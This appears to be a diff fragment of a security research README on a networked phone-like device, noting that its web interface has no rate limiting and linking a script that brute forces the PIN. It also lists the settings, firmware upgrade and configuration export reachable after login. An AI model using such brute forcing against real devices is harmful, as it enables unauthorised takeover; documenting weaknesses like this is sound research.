+there doesn't seem to be any protection/rate limiting, so..

 [bf_login.rb](bf_login.rb) | brute forces the PIN on the web interface
+
+## functionality exposed
+  * change settings
+    * screen brightness, timeout, enable/disable
+    * LED colors, enable/disable
+    * SIP settings
+    * DHCP, NTP settings
+    * name displayed
+    * etc
+
+  * upgrade firmware - need to do more digging here
+  * restart device
+  * pull logs/configuration
+    * SIP password is not included in exported config.xml
+
+the same functionality, in a different interface is now available on the dialer as well as via HTTP. interestingly, many features/settings are exposed on the dialer, while all access over HTTP must be authenticated
